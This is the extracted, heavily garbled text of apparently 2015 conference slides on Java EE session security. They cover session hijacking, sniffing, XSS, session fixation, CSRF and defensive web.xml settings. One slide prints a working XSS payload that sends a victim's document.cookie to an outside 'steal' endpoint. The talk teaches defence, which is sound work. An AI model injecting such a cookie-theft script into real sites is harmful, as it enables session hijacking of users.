Secure Authentication and Session Management in Java EE

SecureAuthen+ca+onandSessionManagement

inJavaEEPatrycjaWegrzynowicz

CTO,Yonita,Inc.JavaDayKiev2015

(c) Patrycja Wegrzynowicz @yonlabs

AboutMe• 15+professionalexperience

• SoQwareengineer,architect,headofsoQwareR&D

• Authorandspeaker• JavaOne,Devoxx,JavaZone,TheServerSideJavaSymposium,Jazoon,OOPSLA,ASE,

others

• FinalizingPhDinComputerScience• FounderandCTOofYonita

• Bridgethegapbetweentheindustryandtheacademia• Automateddetec+onandrefactoringofsoQwaredefects

• Trainingsandcodereviews

• Security,performance,concurrency,databases

• TwiYer:@yonlabs


Agenda

• HTTP,session,OWASP• 4demostohijackasession• Bestprac+cesinJavaEE


Security Stories 2014/2015

#!/bin/bash


HTTP


WhatisWebSession?

• Sessioniden+fiesinterac+onswithoneuser• Uniqueiden+fierassociatedwitheveryrequest

• Cookie

• Header

• Parameter

• Hiddenfield


OWASPTop10Risks


SessionHijacking

• SessiontheQ• URL,sniffing,logs,XSS

• Sessionfixa+on• Sessionpredic+on


Demo:SessionExposedinURL

• Iwilllogintothesampleapplica+on• IwillpostalinkwithmysessionidonTwiYer

• @yonlabs

• Hijackmysession:)


HowtoAvoidSessionIdinURL?

• Default:allowscookiesandURLrewri+ng• Defaultcookie,fallbackonURLrewri+ng

• Toembraceallusers

• Disabledcookiesinabrowser

• DisableURLrewri+nginanappserver• Appserverspecific

• Trackingmode• JavaEE6,web.xml


web.xml

<session-config><tracking-mode>COOKIE</tracking-mode></session-config>


SessionSniffing

• Howtofindoutacookie?• e.g.,networkmonitoringandpacketsniffing

• Howtouseacookie?• Browsers’pluginsandadd-ons(e.g.,CookieManagerforFirefox)

• Intercep+ngproxy(e.g.,OWASPZAP)

• DIY:writeyourowncode


Demo:SessionSniffing

• Youwilllogintothesampleapplica+on• Anynonemptyusername

• Please,usemeaningfulnames,thevic+mwillgetageecoin!

• Iwillmonitornetworktraffic• tcpdump

• Iwillhijackoneofyoursessions• CookieManager


HowtoAvoidSessionExposureDuringTransport?


HowtoAvoidSessionExposureDuringTransport?

Encrypt!UseHTTPS.


web.xml<security-constraint><user-data-constraint><transport-guarantee>CONFIDENTIAL

</transport-guarantee></user-data-constraint>

</security-constraint>


web.xml<session-config><cookie-config><secure>true</secure></cookie-config><tracking-mode>COOKIE</tracking-mode></session-config>


SessionExposure• Transport

• Unencryptedtransport

• Client-side• XSS

• AYacksonbrowsers/OS

• Server-side• Logs

• Sessionreplica+on

• Memorydump


HowtoStealaSessionifSecureTransportIsUsed?


HowtoStealaSessionifSecureTransportIsUsed?

A3ackaclient!


Demo:SessionGrabbedbyXSS

• JavaScriptcodetostealacookie• Servlettologdownstolencookies• Vulnerableapplica+ontobeexploitedviainjectedJavaScriptcode(XSS)


Demo:SessionGrabbedbyXSS

• IwillstoremaliciousJavaScriptcodeintheapp• Throughwri+ngan“opinion”

• Logintothevulnerableapplica+on• hYps://demo.yonita.com:8181/session-xss/

• Anynonemptyusername

• Please,usemeaningfulnames,thevic+mwillgetageecoin!

• Click‚Viewothersopinions’page• Waitun+lIwillhijackyoursession:)


JavaScripttoStealaCookie<script>theQ=’hYp://demo.yonita.com/steal/steal?cookie=’image=newImage();image.src=theQ+document.cookie;</script>


web.xml<session-config><cookie-config><hYp-only>true</hYp-only><secure>true</secure></cookie-config><tracking-mode>COOKIE</tracking-mode></session-config>


SessionFixa+on:Scenario• Hackeropensawebpageofasysteminabrowser

• Newsessionini+alized

• Hackerwritesdownthesessionid• Hackerleavesthebrowseropen• Usercomesandlogsintotheapp

• Usesthesessionini+alizedbythehacker

• HackerusesthewriYendownsessionidtohijacktheuser’ssession


SessionFixa+on:Solu+on

• ChangethesessionIDaQerasuccessfullogin• moregenerally:escala+onofprivileges

• JavaEE7(Servlet3.1)• HYpServletRequest.changeSessionId()

• JavaEE6–HYpSession.invalidate() –HYpServletRequest.getSession(true)


SecureSessionManagementBestPrac+ces

• Random,unpredictablesessionid• Atleast16characters

• Securetransportandstorageofsessionid• CookiepreferredoverURLrewri+ng

• Cookieflags:secure,hYpOnly

• ConsistentuseofHTTPS(Howtoservesta+ccontent?)

• Don’tmixHTTPandHTTPSunderthesamedomain/cookiepath

• Don’tusetoobroadcookiepaths


SecureAuthen+ca+onBestPrac+ces

• Sessioncrea+onanddestruc+on• NewsessionidaQerlogin

• LogoutbuYon

• Session+meouts:2”-5”forcri+calapps,15”-30”for typicalapps

• Sessionassociatedwiththeheadersofthefirstrequest• IP,User-Agent,…

• Iftheydon’tmatch,something’sgoingon(invalidate!)


SecureAuthen+ca+onBestPrac+cescont.

• JavaEE• Declara+veauthen+ca+onimplementedusingannota+onsor

descriptors

• DoesnotforcenewsessionidaQerlogin(sessionfixa+onpossible,appserverspecific)

• Programma+cauthen+ca+on

• JavaEE7,Servlet3.1

• HYpServletRequest:authen+cate,login,logout

• Advancedflowsandrequirements


SecureAuthen+ca+onBestPrac+cescont.

• Mychoice• Programma+cauthen+ca+onwithJavaEE7

• HYpServletRequest:authen+cate,login,logout

• Declara+veauthoriza+on

• web.xml

• @RolesAllowed,@PermitAll,@DenyAll


WhatIfWeCan’tStealaCookie?


WhatIfWeCan’tStealaCookie?

Wecans9lluseit!


Demo:CSRFtoUseaCookie• Iwilllogintotheapplica+on• Logintotheapplica+on

• hYps://demo.yonita.com:8181/session-csrf/

• Anynonemptyusername

• Please,usemeaningfulnames,thefirstvic+mwillgetageecoin!

• ClickthelinkandthebuYon‘Clickme’• hYps://demo.yonita.com:8181/aYack-csrf/

• Iwillcheckmyaccountbalance:)

https://demo.yonita.com:8181/session-csrf/


CSRF:Solu+on

• Uniquetokenassociatedwitheachform• JavaEE(JSF):turnedonbydefault

• Anyothermodernframework

• RememberaboutREST/otherservices


Conclusion

Youareneversafe!


Con+nuousIntegra+on


Con+nuousRefactoring


Con+nuousLearning!


Con+nuousLearning

Afoolwithatooliss9llafool!


Q&A

• [email protected]

• TwiYer:@yonlabs

• Upcomingtrainings:Howtoa3ackandsecurewebappsinJava?Warszawa15-16.12.2015

mailto:[email protected]?subject=

Secure Authentication and Session Management in Java EE

Technology